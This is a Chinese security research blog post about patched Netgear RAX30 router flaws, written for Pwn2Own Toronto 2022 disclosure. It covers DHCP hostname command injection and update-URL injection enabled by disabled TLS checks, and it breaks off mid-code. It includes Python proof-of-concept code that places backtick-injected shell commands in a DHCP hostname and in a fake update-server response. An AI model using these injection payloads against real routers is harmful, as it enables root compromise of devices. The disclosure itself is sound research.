Netgear RAX30漏洞的最后喘息——Pwn2Own Toronto 2022前的悲情故事
背景
不久前,我们开始研究一些Netgear路由器,并从中学到了很多。然而,Netgear最近在其RAX30路由器固件中修补了多个漏洞,包括我们为Pwn2Own Toronto 2022准备的两个LAN侧DHCP接口漏洞和一个WAN侧远程代码执行漏洞。本博客重点关注版本1.0.7.78中发现的漏洞。您可以从此链接下载固件,并使用binwalk轻松提取。所有漏洞均在Netgear RAX30的1.0.7.78版本中发现和测试。已知1.0.7.78及更早版本也易受攻击。
LAN漏洞分析
路由器LAN侧暴露了许多服务,如:upnp、lighttpd、hostapd、minidlnad、smb等。我们决定专注于DHCP服务中的一个LAN漏洞。
DHCP命令注入
我们发现的漏洞之一是LAN侧DHCP服务中的命令注入漏洞。当发送类型为DHCPREQUEST的DHCP请求数据包时,此漏洞触发,如下代码片段所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
void __fastcall __noreturn dhcpd(int a1, int a2)
{
// 截断...
LABEL_84:
switch ( *state )
{// 截断...
case DHCPREQUEST:
requested_1 = (unsigned int *)get_option(&packet, DHCP_REQUESTED_IP);
server_id_1 = (int *)get_option(&packet, DHCP_SERVER_ID);
hostname = (const char *)get_option(&packet, DHCP_HOST_NAME); // [1]
option55 = (char *)get_option(&packet, DHCP_PARAM_REQ);
if ( requested_1 )
v7 = *requested_1;
if ( server_id_1 )
v83 = *server_id_1;
v45 = (char *)get_option(&packet, DHCP_VENDOR);
test_vendorid(&packet, v45, &v87);
v46 = v87;
if ( v87 )
goto LABEL_12;
v47 = (unsigned __int8 *)MAX_DHCP_INFORM_COUNT;
break;
// 截断...
LABEL_106:
if ( lease )
{
// 截断...
if ( hostname )
{
v51 = *((unsigned __int8 *)hostname - 1);
if ( v51 >= 0x3F )
v51 = 63;
strncpy(lease + 24, hostname, v51);
lease[v51 + 24] = 0;
send_lease_info(0, (int)lease); // [2]
}
|
数据包结构中的hostname字段(在[1]处)存储在lease结构的hostname字段中。然后,如果hostname字段不为空,将调用send_lease_info函数(在[2]处)。在send_lease_info函数中,hostname被复制到system函数的参数命令中(在[1]处),允许在[2]处进行命令注入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease)
{
// 截断...
if ( !a1 )
{
// 截断 ...
if ( body.hostName[0] )
{
strncpy((char *)HostName, body.hostName, 0x40u); // [1]
snprintf((char *)v11, 0x102u, "%s", body.vendorid);
}
else
{
strncpy((char *)v10, "unknown", 0x40u);
strncpy((char *)v11, "dhcpVendorid", 0x102u);
}
sprintf(
command,
"pudil -a %s %s %s %s \"%s\"",
body.macAddr,
body.ipAddr,
(const char *)HostName,
body.option55,
(const char *)v11);
system(command); // [2]
}
//...
}
|
DHCP命令注入的利用
要利用此漏洞,我们必须找到一种方法将有效载荷放入hostname字段的有限空间(仅63字节)中。我们成功将有效载荷放入可用字节中。一旦准备好有效载荷,我们将其发送到路由器的DHCP请求数据包中,然后以system函数的权限(在此设备上为root权限)执行有效载荷。以下脚本是概念验证:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import dhcppython
from ipaddress import IPv4Address
import socket
import sys
def send_requests_packet(hostname):
opt_list = dhcppython.options.OptionList(
[
dhcppython.options.options.short_value_to_object(53, "DHCPREQUEST"),
dhcppython.options.options.short_value_to_object(54, "192.168.5.1"),
dhcppython.options.options.short_value_to_object(50, "192.168.5.11"),
dhcppython.options.options.short_value_to_object(12, hostname),
dhcppython.options.options.short_value_to_object(55, [1, 3, 6, 15, 26, 28, 51, 58, 59, 43])
]
)
pkt = dhcppython.packet.DHCPPacket(op="BOOTREQUEST", htype="ETHERNET", hlen=6, hops=0, xid=123456, secs=0, flags=0, ciaddr=IPv4Address(0), yiaddr=IPv4Address(0), siaddr=IPv4Address(0), giaddr=IPv4Address(0), chaddr="DE:AD:BE:EF:C0:DE", sname=b'', file=b'', options=opt_list)
print(pkt)
print (pkt.asbytes)
# send DHCP packet to server by udp protocol
pl = pkt.asbytes
SOC = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
SOC.sendto(pl, ('192.168.5.1', 67) )
send_requests_packet("a`touch /tmp/test`b")
|
DHCP命令注入的补丁分析
固件版本1.0.9.90的热修复通过使用execve代替system函数修补了此漏洞。我们决定查看热修复。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease)
{
//...
if ( body.hostName[0] )
hostName = body.hostName;
else
hostName = "unknown";
strncpy(hostname, hostName, 0x40u);
if ( body.vendorid[0] )
snprintf(vendorid, 0x102u, "%s", body.vendorid);
else
strncpy(vendorid, "dhcpVendorid", 0x102u);
argv[4] = hostname;
argv[6] = vendorid;
argv[0] = "pudil";
argv[2] = body.macAddr;
argv[3] = body.ipAddr;
argv[1] = "-a";
argv[5] = body.option55;
argv[7] = 0;
v10 = fork();
if ( v10 )
{
do
{
if ( waitpid(v10, &v12, 0) == -1 )
perror("waitpid");
}
while ( (v12 & 0x7F) != 0 && ((v12 & 0x7F) + 1) << 24 >> 25 <= 0 );
}
else
{
execve("/bin/pudil", argv, 0);
}
}
// ...
|
在尝试绕过补丁时,我们深入研究了pudil二进制文件。该二进制文件使用8个参数运行并解析它们。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
int __fastcall main(int argc, char **argv, char **a3)
{
///...
while ( 1 )
{
option = getopt(argc, argv, "hamdfFiuU");
// ...
switch ( option )
{
case 'a':
if ( argc != 7 )
continue;
v7 = 0;
body_macAddr = argv[2];
//..
if ( !body_macAddr )
{
printf("\n\x1B[31m%s error agruments \x1B[0m\n", "get_connectedInterface");
goto LABEL_14;
}
break;
}
///...
while ( 1 )
{
memset(v29, 0, 0x100u);
snprintf((char *)v29, 0x100u, "cat /proc/pega/hostname| grep -i %s | awk '{printf $4}'", body_macAddr);
DBG_PRINT("cmd = %s\n", (const char *)v29);
v14 = popen((const char *)v29, "r");
//...
|
主函数检查选项,我们注意到body_macAddr变量直接通过popen函数传递。然而,进一步检查变量的创建方式后,我们确信它不易受攻击。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
cmsUtl_macNumToStr(lease->chaddr, body.macAddr);
//...
int __fastcall cmsUtl_macNumToStr(unsigned __int8 *char_mac, char *dest_str)
{
//...
else
{
sprintf(
dest_str,
"%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x",
*char_mac,
char_mac[1],
char_mac[2],
char_mac[3],
char_mac[4],
char_mac[5]);
return 0;
}
}
|
macAddr变量是将6字节十六进制数据转换为十六进制字符串的结果,因此是安全的,不易受攻击。因此,此补丁对此漏洞非常有效。
WAN利用链
在捕获路由器WAN端口的数据包后,我们发现Netgear路由器连接到多个域,包括devcom.up.netgear.com和time-e.netgear.com。我们发现这些连接非常有趣。
Netgear Router RAX30不当证书验证
进一步调查后,我们发现负责检查固件升级的pucfu二进制文件在启动时由"libfwcheck.so"中的get_check_fw->fw_check_api函数执行。此函数向UpBaseURL发送post HTTPS请求,该URL在d2d数据库中定义为"https://devcom.up.netgear.com/UpBackend/"。
post HTTPS请求使用curl_post函数发送:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
size_t __fastcall curl_post(const char *url, const char *post_data, void **p_html
{
/* ... */
((void (*)(int, const char *, ...))fw_debug)(1, " URL is %s\n", url);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, https_hdr);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); // [1]
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); // [2]
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
v12 = strlen(post_data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, v12);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_writedata_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
if ( curl_easy_perform(curl) )
/* ... * /
}
|
(此代码片段在curl_post中,对应于地址0x6B60的汇编代码)。
Netgear Router RAX30存在安全缺陷,允许攻击者控制固件更新过程。这是因为CURLOPT_SSL_VERIFYHOST和CURLOPT_SSL_VERIFYPEER选项在[1]和[2]处关闭,这意味着客户端不会对服务器执行证书检查。这允许攻击者设置虚假的DHCP和DNS服务器并冒充更新服务器。
服务器的响应如下所示:
1
2
3
4
|
{
'status': 1,
'url': ....
}
|
响应中的url将写入"/tmp/fw/cfu_url_cache",并将在以后使用。
Netgear Router RAX30命令注入
执行pufwUpgrade二进制文件以检查固件更新,检查更新的URL从文件"/tmp/fw/cfu_url_cache"中读取。FwUpgrade_download_FwInfo函数将URL作为第一个参数传递给DownloadFiles函数,这意味着攻击者可以控制URL并可能注入恶意命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int __fastcall FwUpgrade_download_FwInfo(int option)
{//...
while ( 1 )
{
SetFileValue("/data/fwLastChecked", "lastDL_sku", v69);
SetFileValue("/data/fwLastChecked", "lastDL_url", g_url_update);
v4 = DownloadFiles(&fw_upgrade, "/tmp/fw/dl_fileinfo_unicode", "/tmp/fw/dl_result", 0);
//...
}
}
int __fastcall DownloadFiles(const char *url_update, const char *a2, char *filename, int a4)
{
//...
if ( is_https )
//...
else
snprintf(
s,
0x1F4u,
"(curl --fail --insecure %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> %s; echo $? > %s)",
url_update, // [1]
v7,
a2,
"/tmp/curl_result_err.txt",
"/tmp/curl_result.txt");
j_DBG_PRINT("%s:%d, cmd=%s\n", "DownloadFiles", 328, s);
if ( j_pegaPopen(s, "r") )
//...
}
|
我们路由器的URL将存储在命令行字符串中,使其易受命令注入攻击。
WAN利用
要利用此漏洞,我们可以伪造一个http服务器来处理来自路由器的请求。以下代码显示如何使用Python完成此操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
response_data = (
'{\r\n'
' "status": 1,\r\n'
' "url": "`touch /tmp/aaa`"\r\n'
'}\r\n'
)
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(response_data)
if __name__ == "__main__":
webServer = HTTPServer(('0.0.0.0', 8000), MyHandler)
print("Server started http://%s:%s" % ('0.0.0.0', 8000))
#...
|
WAN漏洞的补丁分析
为了修补此漏洞,LAN侧将在版本1.0.9.90中使用execve进行修补。以下代码显示了如何完成此操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
argv[0] = "curl";
argv[2] = "--insecure";
argv[3] = "--cacert";
argv[4] = "/opt/xagent/certs/ca-bundle-mega.crt";
argv[5] = url_update;
argv[6] = "--max-time";
argv[8] = "--speed-time";
argv[9] = "15";
argv[10] = "--speed-limit";
argv[12] = "-o";
argv[13] = a4;
argv[14] = 0;
//...
execve("/bin/curl", argv, 0);
}
|
目前,我们没有解决方案来绕过curl二进制文件的补丁。然而,我们有一个想法使用cron作业触发此漏洞。如UART日志所示,路由器运行/bin/pufwUpgrade -s以将调度程序更新添加到/var/spool/cron/crontabs/cfu文件中,该文件如下所示:
1
2
|
# cat /var/spool/cron/crontabs/cfu
59 3 * * * /bin/pufwUpgrade -A
|
这意味着在凌晨3:59,路由器将下载升级文件并重写系统。但是,我们能控制cfu文件的时间吗?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//...
seed = time(0);
srand(seed);
rand_num = rand() % 180;
memset(v19, 0, 0x200u);
v14 = sub_156A8(rand_num, 60u);
snprintf(
(char *)v19,
0x1FFu,
"echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
rand_num % 60,
v14 + 1,
"/var/spool/cron/crontabs",
"cfu");
pegaSystem((int)v19);
//...
|
我们路由器上的固件更新过程每天发生一次。确切时间由/bin/pufwUpgrade -s命令控制。我们尝试使用ntpserver操纵路由器上的时间,但似乎没有奏效 T_T
/bin/pufwUpgrade -A命令的逻辑如下:PerformAutoFwUpgrade => FwUpgrade_DownloadFW => FwUpgrade_WriteFW。这些函数的代码如下所示:
1
2
3
4
5
6
7
8
|
int FwUpgrade_DownloadFW()
{
//...
SetFileValue("/data/fwLastChecked", "lastDL_url", &url);
v0 = DownloadFiles(url_fw_file, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
//...
}
int Fw
|